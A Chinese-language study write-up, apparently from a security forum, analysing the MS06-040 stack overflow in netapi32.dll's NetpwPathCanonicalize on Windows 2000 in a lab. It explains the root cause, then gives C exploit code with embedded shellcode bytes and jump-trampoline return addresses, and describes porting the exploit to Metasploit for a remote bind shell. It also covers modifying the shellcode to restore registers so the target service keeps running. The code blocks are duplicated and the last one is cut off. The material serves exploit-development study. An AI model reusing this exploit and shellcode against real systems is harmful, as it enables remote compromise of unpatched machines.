-
-
[原创][完]0day安全学习笔记:MS06-040漏洞分析
-
发表于: 2021-5-31 14:21 10501
-
代码说明:大部分代码来源于0day,有我自己的修改,贴出的代码是我在实验过程中使用的,有出错→修正→调试的一个过程,最终代码以附件中为准。
MS06-040位于netapi32.dll动态链接库的导出函数NetpwPathCanonicalize()
中,该函数可以被RPC远程调用,其原型为:
功能就是将prefix
与path
使用\
字符相连,输出到can_path
中,maxbuf
为输出的最大长度。
为查明漏洞成因,使用以下代码对其进行调试,实验使用的是Win2000SP4中的netapi32.dll。
在计算字符串长度的时候使用的是wcslen
函数,该函数用来计算宽字符串长度,因此在计算大小为0x10E
字节(不包括结束字符)的prefix
长度时,返回的结果为0x87
,计算大小为0x31e
字节(不包括结束字符)的path
长度时,返回的结果为0x18f
在将字符串复制到栈中的时候,程序保留了0x414
字节的空间:
在计算空间是否足够的时候,比较的是0x18f+0x87+1=0x217
与0x411
的大小
这样计算得到的结论当然是空间足够,之后进行了wcscat
的调用,将两组字符串都复制到栈中,在此之前,观察EBP的值为0x12f698
,字符串复制完之后,查看栈中的情况:
在调试的时候,我比较疑惑0x411
这个数字是怎么回事,是根据程序动态变化的,还是写死在代码里面的,于是仔细检查了一下。
如果在代码级别修改,调高prefix
和path
的大小,让两者之和大于0x822
(按照代码中的检查逻辑就比0x411
大了),结果发现程序根本没有到达CanonicalizePathName
函数的调用。
后来调试了一下,发现在到达漏洞触发点之前,NetpwPathCanonicalize()
函数会调用NetpwPathType
函数,检查prefix
的长度是否越界:
上图检查了prefix
的长度是否超过了0x103
。所以这次设置prefix
的大小为0x206
,path
的大小为0x630
,最终发现0x411
这个数值并没有发生变化,由于总长度为(0x206-2+0x630-2)\2+1=0x41A
,超过了0x411
,所以函数直接返回了0x7B(ERROR_INVALID_NAME)
。
所以说0x411
这个数是写死的。
仔细观察一下函数返回时栈中的情况以及寄存器的情况,寄存器:
而在栈中,prefix
的起始地址为0x12f284
,和ECX的值相同,所以可以把jmp ecx
作为跳板指令,
prefix
的长度为0x100
,shellcode
的长度为0xa8
,可以放到prefix
中,从上图中可以看到返回地址位于path
的倒数9-12字节,所以得到下面的漏洞利用代码:
其中0x7e490678
为内存中jmp ecx
所在的地址。
但是上面的代码出现了问题,通过调试,程序可以执行到shellcode的位置,但是……
执行到这里的时候,sub esp, ebx之后,得到esp的值为0x12f2a8,注意这里,这个地址已经是shellcode所在的位置了,也就是说之后的入栈操作会直接覆盖下面的shellcode指令,然后就变成了这样,/(ㄒoㄒ)/~~
我不知道自己实践过程中和0day有什么差异导致了现在这种结果,但是现在要想办法解决了,修改shellcode显然太麻烦了,鉴于prefix
中还有足够的空间,所以可以直接改变shellcode的位置,把新的栈顶位置0x12f2a8
绕过去。
最终的代码:
最终成功执行shellcode!
攻击机:
操作系统:kali 5.10.0-kali7-686-pae
IP地址:192.168.6.70
靶机:
操作系统:Windows2000 Pro
IP地址:192.168.6.21
首先确定靶机开启的端口:
可以看到打开了445端口。
之后根据书里说的,把exploit脚本放到msf的目录里,因为msf的版本不同,所以要对书里的代码做一些修改:
如果不修改代码,在执行reload_all之后仍然找不到自己的脚本。
最后的配置是这样的:
这时执行exploit
并没有成功,靶机提示services意外关闭,然后重启了,这也很正常,我用的win2000系统版本不同,所以需要修改payload。
将OD附加到services上,然后在NetpwPathCanonicalize
上下一个断点,F9继续执行。
回到攻击机上,执行exploit,再回到靶机,发现OD已经断在了NetpwPathCanonicalize
上,然后一直单步,到达retn 14
语句,可以看到此时栈中的情况
再一次单步,到达了这个修改的返回地址
显然,由于系统版本的问题,这里的指令并不是预期的jmp esp
,与此同时,在我使用的靶机上,可以看到ecx的值为0x142f644
,正是shellcode的起始位置,也就是在这个靶机上仍然可以使用jmp ecx
这个跳板(并不是/(ㄒoㄒ)/~~)。
使用jmp ecx
的时候发现并不稳定,所以最后使用的还是jmp esp
,需要重新搜索这个指令的地址,找到了0x77e19eb8
只需要把代码开头的返回地址修改成0x77e19eb8
就行了
这次还是调试services,看一下再次执行到retn 0x14
的时候OD的情况:
看起来都很正常,继续单步也可以进入shellcode执行。最后不再使用OD调试,直接执行exploit,msf没有输出,但是再开一个命令行使用telnet连接,已经可以连接到靶机上了:
虽然成功连接到了靶机上,但是靶机很快就崩溃重启了,原因在于使用的shellcode最后调用了ExitProcess()
,也就是说我们直接退出了services进程,这样电脑当然会崩溃。
所以需要重新修改一下shellcode,根据深入浅出MS06-040(看雪网络版)所说:
函数返回是通过ret时三个重要的寄存器EBP, EIP, ESP的内容来实现的,只要在shellcode结束时恢复这三个寄存器的内容,就可以让函数正常返回
所以现在要找到溢出之前这三个值都是什么。
对于EIP的值,这个值对于同一个DLL来说应该是不变的,重新回顾一下,漏洞发生在NetpwPathCanonicalize
函数中的一次函数调用,所以我们恢复的应该是该函数调用后下一条指令的地址,在我这里是0x75107B78
。
而其他两个寄存器的值,我们可以对比一下发生溢出和不发生溢出时,漏洞函数执行前后这两个寄存器的值有什么变化:
所以说我们需要恢复的只有EBP寄存器的值,而这个值比ESP的值大了0xC。
之前并没有仔细看shellcode的内容,和书中一样用的bindshell的shellcode,这是一个通用的shellcode,因此里面包含了搜索DLL地址,搜索API函数地址,以及计算哈希以实现代码压缩的功能,考虑篇幅原因,这里不再贴出具体汇编代码,为了说明如何恢复寄存器的值,在这里使用【原shellcode】指代书中提供的汇编代码。
上面的汇编代码能够成立的前提是原shellcode本身是堆栈平衡的(其实不止这一个问题),但是很不幸,它不是(因为我实验的时候services又崩溃了,/(ㄒoㄒ)/~~)
把上面的汇编代码写到程序里,编译,使用OD调试,可以获得对应的机器码
接下来只要使用上面的机器码替换msf的exploit脚本中的机器码就可以了。
就是在这里,services又崩溃了,因为堆栈不平衡,解决方法看下面的第三个问题。
add esp, 0x428 包含两个字节的\x00?
但是原本书中提供的代码也包含这个指令,却没有这个问题,后来我用书中提供的机器码翻译成汇编语言,发现得到的是add sp, 0x428
,sp指的是esp的低16位,在当前情况中是可以这样使用的,所以问题解决
call [esi - 0x1c] ; 指向的内容不对?
执行到最后的调用指令,即调用CreateProcessA
的时候,在OD中发现该地址位置包含的数值为0x411
,后来仔细阅读了一下前面的汇编代码,发现书中有一句指令被注释了,应该是PDF格式的排版问题
原本的shellocode堆栈不平衡怎么办?
由于原本的shellcode堆栈不平衡,这就导致在自己在前后添加的汇编指令没能得到预期的执行结果。
为了避免一句一句的看汇编代码,分析堆栈变化情况,我打算直接根据调试结果,调整汇编代码最后的add esp, 0x428
中的数值。在调试的时候,执行完shellcode开头的push ebp push esp
之后,栈中的情况是这样的:
也就是说保存的esp和ebp分别保存在了地址0x162FA6C
和0x162FA70
的位置,继续调试,执行到shellcode最后的mov ecx, 0x75107B78
指令时,此时的ESP寄存器值为0x162F360
,和0x162FA6C
相差0x70C
,所以直接把shellcode最后一行中的\x28\x04
修改为\x0c\x07
。
然后,又崩溃了……/(ㄒoㄒ)/~~,问题在于下一点。
除了恢复三个寄存器的值,还有返回地址要恢复!
其实正常来说,确实只需要考虑ESP, EBP和EIP三个寄存器就可以了,但是在我修改shellcode的过程中,添加的代码太多了,回顾一下,我在开头添加的这几句指令:
它的机器码最终要放在path
变量中的返回地址(指向jmp esp
)的后面,也就是说它会覆盖栈中原本保存的的一些变量,如果长度过长,就可能覆盖下一个栈帧的返回地址,导致函数无法正常返回。
而在漏洞函数之后,代码是这样的
而上面的汇编指令对应的机器码就是16个字节,但是再加上unicode字符串结尾的两个字节,就是18个字节,会覆盖下个栈帧的返回地址。
其实哪怕不考虑返回地址,这四个pop
指令要恢复之前ESI EDI EBX EBP
寄存器的值,现在也不确定这四个寄存器的值的改变会不会影响程序的执行,因此应该保证添加的这几句指令占用的空间越少越好。
所以我把shellcode修改成了这样:
前面的四句指令占用10个字节\x54\x66\x81\xEC\x28\x04\x8B\xC4\xFF\xE4
,加上字符串结尾的两个字节一共12个字节,
最终的msf脚本见附件。这个时候就能成功入侵靶机,并且不会再导致services崩溃了(我等了一段时间,在攻击机上执行了几个简单的指令,没发生崩溃)。
可以看到任务管理器里面的cmd进程:
这次对于ms06_040漏洞的分析过程中,漏洞的原理还是比较简单的,难点其实在于后期的远程利用以及对于shellcode的修改,和正常的编程相比,shellcode的编写必须更加仔细,而且要时刻保持”短小精悍“。
其实我认为上面的代码还是存在一些缺陷的,因为使用jmp esp
做跳板,栈中保存的一些数据就必然会被覆盖一部分,当从shellcode回到正常代码之后,就会影响到寄存器值的恢复。
后来实验的过程中,我发现使用jmp ecx
作为跳板应该还是有机会的,我不知道自己第一次使用jmp ecx
做远程攻击时为什么会出现问题,但是后来那个问题就没再出现。
我也尝试使用jmp ecx
做跳板进行了实验,shellcode的改动其实不大,就是esp寄存器的数值需要做调整,但是不知道为什么,shellcode在执行到WSASocketA
函数调用的时候会失败(・∀・(・∀・(・∀・*)
之后应该还会尝试jmp ecx
的方法,但是不知道啥时候弄完了,这篇文章暂时到此为止。
int
NetpwPathCanonicalize (
uint16 path[ ],
/
/
[
in
] path name
uint8 can_path[ ],
/
/
[out] canonicalized path
uint32 maxbuf,
/
/
[
in
]
max
size of can_path
uint16 prefix[ ],
/
/
[
in
] path prefix
uint32
*
pathtype,
/
/
[
in
out] path
type
uint32 pathflags
/
/
[
in
] path flags,
0
or
1
);
int
NetpwPathCanonicalize (
uint16 path[ ],
/
/
[
in
] path name
uint8 can_path[ ],
/
/
[out] canonicalized path
uint32 maxbuf,
/
/
[
in
]
max
size of can_path
uint16 prefix[ ],
/
/
[
in
] path prefix
uint32
*
pathtype,
/
/
[
in
out] path
type
uint32 pathflags
/
/
[
in
] path flags,
0
or
1
);
#include <windows.h>
typedef void (
*
MYPROC)(LPTSTR, LPTSTR,
int
, LPTSTR,
long
*
,
long
);
int
main() {
char path[
0x320
];
char can_path[
0x440
];
int
maxbuf
=
0x440
;
char prefix[
0x100
];
long
pathtype
=
44
;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[]
=
"./netapi32.dll"
;
char VulFunc[]
=
"NetpwPathCanonicalize"
;
LibHandle
=
LoadLibrary(dll);
Trigger
=
(MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path,
0
, sizeof(path));
memset(path,
'a'
, sizeof(path)
-
2
);
memset(prefix,
0
, sizeof(prefix));
memset(prefix,
'b'
, sizeof(prefix)
-
2
);
(Trigger)(path, can_path, maxbuf, prefix, &pathtype,
0
);
FreeLibrary(LibHandle);
return
0
;
}
#include <windows.h>
typedef void (
*
MYPROC)(LPTSTR, LPTSTR,
int
, LPTSTR,
long
*
,
long
);
int
main() {
char path[
0x320
];
char can_path[
0x440
];
int
maxbuf
=
0x440
;
char prefix[
0x100
];
long
pathtype
=
44
;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[]
=
"./netapi32.dll"
;
char VulFunc[]
=
"NetpwPathCanonicalize"
;
LibHandle
=
LoadLibrary(dll);
Trigger
=
(MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path,
0
, sizeof(path));
memset(path,
'a'
, sizeof(path)
-
2
);
memset(prefix,
0
, sizeof(prefix));
memset(prefix,
'b'
, sizeof(prefix)
-
2
);
(Trigger)(path, can_path, maxbuf, prefix, &pathtype,
0
);
FreeLibrary(LibHandle);
return
0
;
}
#include <windows.h>
typedef void (
*
MYPROC)(LPTSTR, LPTSTR,
int
, LPTSTR,
long
*
,
long
);
char shellcode[]
=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
int
main() {
char path[
0x320
];
char can_path[
0x440
];
int
maxbuf
=
0x440
;
char prefix[
0x100
];
long
pathtype
=
44
;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[]
=
"./netapi32.dll"
;
char VulFunc[]
=
"NetpwPathCanonicalize"
;
LibHandle
=
LoadLibrary(dll);
Trigger
=
(MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path,
0
, sizeof(path));
memset(path,
0x90
, sizeof(path)
-
2
);
memset(prefix,
0
, sizeof(prefix));
memset(prefix,
'a'
, sizeof(prefix)
-
2
);
memcpy(prefix, shellcode,
168
);
path[
0x318
]
=
0x78
;
path[
0x319
]
=
0x06
;
path[
0x31a
]
=
0x49
;
path[
0x31b
]
=
0x7e
;
(Trigger)(path, can_path, maxbuf, prefix, &pathtype,
0
);
FreeLibrary(LibHandle);
return
0
;
}
#include <windows.h>
typedef void (
*
MYPROC)(LPTSTR, LPTSTR,
int
, LPTSTR,
long
*
,
long
);
char shellcode[]
=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
int
main() {
char path[
0x320
];
char can_path[
0x440
];
int
maxbuf
=
0x440
;
char prefix[
0x100
];
long
pathtype
=
44
;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[]
=
"./netapi32.dll"
;
char VulFunc[]
=
"NetpwPathCanonicalize"
;
LibHandle
=
LoadLibrary(dll);
Trigger
=
(MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path,
0
, sizeof(path));
memset(path,
0x90
, sizeof(path)
-
2
);
memset(prefix,
0
, sizeof(prefix));
memset(prefix,
'a'
, sizeof(prefix)
-
2
);
memcpy(prefix, shellcode,
168
);
path[
0x318
]
=
0x78
;
path[
0x319
]
=
0x06
;
path[
0x31a
]
=
0x49
;
path[
0x31b
]
=
0x7e
;
(Trigger)(path, can_path, maxbuf, prefix, &pathtype,
0
);
FreeLibrary(LibHandle);
return
0
;
}
#include <windows.h>
typedef void (
*
MYPROC)(LPTSTR, LPTSTR,
int
, LPTSTR,
long
*
,
long
);
char shellcode[]
=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/
/
在这里加了
48
个字节的nop
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
int
main() {
char path[
0x320
];
char can_path[
0x440
];
int
maxbuf
=
0x440
;
char prefix[
0x100
];
long
pathtype
=
44
;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[]
=
"./netapi32.dll"
;
char VulFunc[]
=
"NetpwPathCanonicalize"
;
LibHandle
=
LoadLibrary(dll);
Trigger
=
(MYPROC)GetProcAddress(LibHandle, VulFunc);
memset(path,
0
, sizeof(path));
memset(path,
0x90
, sizeof(path)
-
2
);
memset(prefix,
0
, sizeof(prefix));
memset(prefix,
'a'
, sizeof(prefix)
-
2
);
memcpy(prefix, shellcode,
0xd8
);
/
/
注意这里的长度要修改
path[
0x318
]
=
0x78
;
path[
0x319
]
=
0x06
;
path[
0x31a
]
=
0x49
;
path[
0x31b
]
=
0x7e
;
/
/
__asm
int
3
(Trigger)(path, can_path, maxbuf, prefix, &pathtype,
0
);
FreeLibrary(LibHandle);
return
0
;
}
#include <windows.h>
typedef void (
*
MYPROC)(LPTSTR, LPTSTR,
int
, LPTSTR,
long
*
,
long
);
char shellcode[]
=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
/
/
在这里加了
48
个字节的nop
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
;
int
main() {
char path[
0x320
];
char can_path[
0x440
];
int
maxbuf
=
0x440
;
char prefix[
0x100
];
long
pathtype
=
44
;
HINSTANCE LibHandle;
MYPROC Trigger;
char dll[]
=
"./netapi32.dll"
;
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)